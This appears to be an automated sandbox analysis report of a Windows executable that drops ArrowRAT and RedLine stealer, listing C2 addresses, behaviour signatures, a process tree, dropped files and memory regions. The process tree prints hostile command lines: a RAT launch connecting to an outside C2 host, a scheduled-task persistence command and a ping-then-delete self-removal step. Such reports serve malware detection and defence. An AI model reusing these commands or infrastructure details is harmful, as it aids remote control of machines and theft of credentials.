Analysis

  • max time kernel
    125s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/11/2022, 19:13

General

  • Target
    464502cbaae7b9ed1cd6da844d38ba86.exe
  • Size 18.4MB
  • Sample221111-xw29hsab38
  • SHA256 6c90b6acb49fff4969b5f5fabde4b4fea363e1902ac675ba02e7ad325804b7d4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • arrowrat

Botnet
  • Client

C2
  • 213.239.219.58:1337

Mutex
  • nPxRArUjc

Extracted

Family
  • redline

Botnet
  • @NoxyCloud

C2
  • 85.192.63.57:34210

Attributes
  • auth_value

    20dc074852db65a2b74addf964cf576e

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 6 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs

Processes

  • C:\Windows\system32\taskhostw.exe
    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
    1⤵
      PID:2896
    • C:\Users\Admin\AppData\Local\Temp\464502cbaae7b9ed1cd6da844d38ba86.exe
      "C:\Users\Admin\AppData\Local\Temp\464502cbaae7b9ed1cd6da844d38ba86.exe"
      1⤵
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:4760
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1648
        • C:\Users\Admin\AppData\Local\Temp\MRH.exe
          "C:\Users\Admin\AppData\Local\Temp\MRH.exe" 0
          3⤵
          • Executes dropped EXE
          • Checks computer location settings
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4676
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /tn COMSurrogate /f /sc onlogon /rl highest /tr "C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe"
            4⤵
            • Creates scheduled task(s)
            PID:3452
          • C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe
            "C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe" 0
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2312
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
              5⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:3248
              • C:\Windows\explorer.exe
                "C:\Windows\explorer.exe"
                6⤵
                • Modifies Installed Components in the registry
                • Modifies registry class
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:4740
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 213.239.219.58 1337 nPxRArUjc
                6⤵
                  PID:3288
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\MRH.exe"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2156
              • C:\Windows\SysWOW64\chcp.com
                chcp 65001
                5⤵
                  PID:376
                • C:\Windows\SysWOW64\PING.EXE
                  ping 127.0.0.1
                  5⤵
                  • Runs ping.exe
                  PID:4532
            • C:\Users\Admin\AppData\Local\Temp\ROR.exe
              "C:\Users\Admin\AppData\Local\Temp\ROR.exe" 0
              3⤵
              • Executes dropped EXE
              PID:3388
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                4⤵
                  PID:3172
          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
            1⤵
              PID:2256
            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
              1⤵
                PID:4500

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    103621DE9CD5414CC2538780B4B75751

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
                    • Size 717B
                    • SHA256 e634c2d1ed20e0638c95597adf4c9d392ebab932d3353f18af1e4421f4bb9cab
                    • MD5 SHA1 SHA512

                    103621DE9CD5414CC2538780B4B75751

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
                    • Size 192B
                    • SHA256 227f2d13aa3137a036387f75431027c6e6923b7836502efc0d55e067fa6a7683
                    • MD5 SHA1 SHA512

                    library[1].bin

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\G3YCTSQY\library[1].bin
                    • Size 259KB
                    • SHA256 41c631caa7c9e95166917bec39627c488400d180622e4b2bb3a3629732692b54
                    • MD5 SHA1 SHA512 SSDEEP

                    MRH.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\MRH.exe
                    • Size 1.9MB
                    • SHA256 e9c817d02acaf2fbb59a0a44be05dbb284ee622f50b2e2a598daac8bfb564672
                    • MD5 SHA1 SHA512 SSDEEP

                    MRH.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\MRH.exe
                    • Size 1.9MB
                    • SHA256 e9c817d02acaf2fbb59a0a44be05dbb284ee622f50b2e2a598daac8bfb564672
                    • MD5 SHA1 SHA512 SSDEEP

                    ROR.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\ROR.exe
                    • Size 1.7MB
                    • SHA256 f6706aafbeb4e8e10478bb1fd5b171e2f7f13399416344aba46233593e6f5d69
                    • MD5 SHA1 SHA512 SSDEEP

                    ROR.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\ROR.exe
                    • Size 1.7MB
                    • SHA256 f6706aafbeb4e8e10478bb1fd5b171e2f7f13399416344aba46233593e6f5d69
                    • MD5 SHA1 SHA512 SSDEEP

                    advapi32.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\advapi32.dll
                    • Size 262KB
                    • SHA256 3c0d3f9a776c503eca4e0a014006fe1a8f53e5e22138f6add9e45ad0fbf8844e
                    • MD5 SHA1 SHA512 SSDEEP

                    advapi32.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\advapi32.exe
                    • Size 262KB
                    • SHA256 3c0d3f9a776c503eca4e0a014006fe1a8f53e5e22138f6add9e45ad0fbf8844e
                    • MD5 SHA1 SHA512 SSDEEP

                    Quoko tace wesa.exe

                    • Path C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe
                    • Size 527.8MB
                    • SHA256 e11bdac60b43d4e2ec5ba12e9f5f68a147094f31062b52813a0f6e1f282195e1
                    • MD5 SHA1 SHA512 SSDEEP

                    Quoko tace wesa.exe

                    • Path C:\Users\Admin\Yisike quoquola fika quaveb\Quoko tace wesa.exe
                    • Size 529.1MB
                    • SHA256 3e032928881fdfa19601a98725e4c65ece8c3185672f54bfe51ef259e7b18fab
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/1648-141-0x0000000000400000-0x0000000000405000-memory.dmp

                    memory/1648-138-0x0000000000400000-0x0000000000405000-memory.dmp

                    memory/1648-134-0x0000000000400000-0x0000000000405000-memory.dmp

                    memory/1648-162-0x0000000000400000-0x0000000000405000-memory.dmp

                    memory/2312-154-0x0000000002AD9000-0x00000000033CE000-memory.dmp

                    memory/2312-167-0x000000000F010000-0x000000000F1FF000-memory.dmp

                    memory/2312-174-0x00000000034D9000-0x00000000036A0000-memory.dmp

                    memory/2312-169-0x00000000034D9000-0x00000000036A0000-memory.dmp

                    memory/2312-157-0x0000000002AD9000-0x00000000033CE000-memory.dmp

                    memory/2312-158-0x00000000034D9000-0x00000000036A0000-memory.dmp

                    memory/2312-168-0x000000000F010000-0x000000000F1FF000-memory.dmp

                    memory/3172-197-0x0000000005400000-0x0000000005A18000-memory.dmp

                    memory/3172-193-0x0000000000400000-0x0000000000428000-memory.dmp

                    memory/3172-227-0x0000000007BE0000-0x000000000810C000-memory.dmp

                    memory/3172-226-0x00000000074E0000-0x00000000076A2000-memory.dmp

                    memory/3172-204-0x0000000004EF0000-0x0000000004F2C000-memory.dmp

                    memory/3172-201-0x0000000004E70000-0x0000000004E82000-memory.dmp

                    memory/3172-199-0x0000000004F40000-0x000000000504A000-memory.dmp

                    memory/3172-191-0x0000000000400000-0x0000000000428000-memory.dmp

                    memory/3248-171-0x0000000000400000-0x000000000042C000-memory.dmp

                    memory/3248-173-0x0000000000400000-0x000000000042C000-memory.dmp

                    memory/3248-181-0x0000000005920000-0x00000000059B2000-memory.dmp

                    memory/3248-175-0x0000000005BA0000-0x0000000006144000-memory.dmp

                    memory/3248-177-0x00000000056E0000-0x000000000577C000-memory.dmp

                    memory/3248-183-0x00000000058B0000-0x00000000058BA000-memory.dmp

                    memory/3288-187-0x00000000059B0000-0x0000000005A00000-memory.dmp

                    memory/3288-180-0x0000000000400000-0x0000000000418000-memory.dmp

                    memory/3288-186-0x00000000050C0000-0x0000000005126000-memory.dmp

                    memory/3388-194-0x0000000003087000-0x0000000003208000-memory.dmp

                    memory/3388-182-0x0000000003087000-0x0000000003208000-memory.dmp

                    memory/3388-176-0x00000000027DF000-0x0000000002F7C000-memory.dmp

                    memory/3388-165-0x00000000027DF000-0x0000000002F7C000-memory.dmp

                    memory/3388-188-0x0000000010E30000-0x0000000010FA4000-memory.dmp

                    memory/3388-189-0x0000000010E30000-0x0000000010FA4000-memory.dmp

                    memory/4500-217-0x000001C38000C000-0x000001C380010000-memory.dmp

                    memory/4500-221-0x000001C380010000-0x000001C380013000-memory.dmp

                    memory/4500-232-0x000001CBF9380000-0x000001CBF9480000-memory.dmp

                    memory/4500-228-0x000001CBFA090000-0x000001CBFA098000-memory.dmp

                    memory/4500-223-0x000001C380010000-0x000001C380013000-memory.dmp

                    memory/4500-224-0x000001C380010000-0x000001C380013000-memory.dmp

                    memory/4500-222-0x000001C380010000-0x000001C380013000-memory.dmp

                    memory/4500-218-0x000001C38000C000-0x000001C380010000-memory.dmp

                    memory/4500-208-0x000001CBF4F80000-0x000001CBF4FA0000-memory.dmp

                    memory/4500-209-0x000001CBF49E0000-0x000001CBF4A00000-memory.dmp

                    memory/4500-212-0x000001CBF9380000-0x000001CBF9480000-memory.dmp

                    memory/4500-215-0x000001C38000C000-0x000001C380010000-memory.dmp

                    memory/4500-216-0x000001C38000C000-0x000001C380010000-memory.dmp

                    memory/4500-219-0x000001C38000C000-0x000001C380010000-memory.dmp

                    memory/4676-145-0x000000000234C000-0x0000000002C41000-memory.dmp

                    memory/4676-147-0x000000000234C000-0x0000000002C41000-memory.dmp

                    memory/4676-153-0x0000000002C57000-0x0000000002E1E000-memory.dmp

                    memory/4676-146-0x0000000002C57000-0x0000000002E1E000-memory.dmp

                    memory/4760-137-0x00007FFB92CC0000-0x00007FFB93781000-memory.dmp

                    memory/4760-133-0x00000000008E0000-0x0000000001B4A000-memory.dmp

                    memory/4760-132-0x00007FFB92CC0000-0x00007FFB93781000-memory.dmp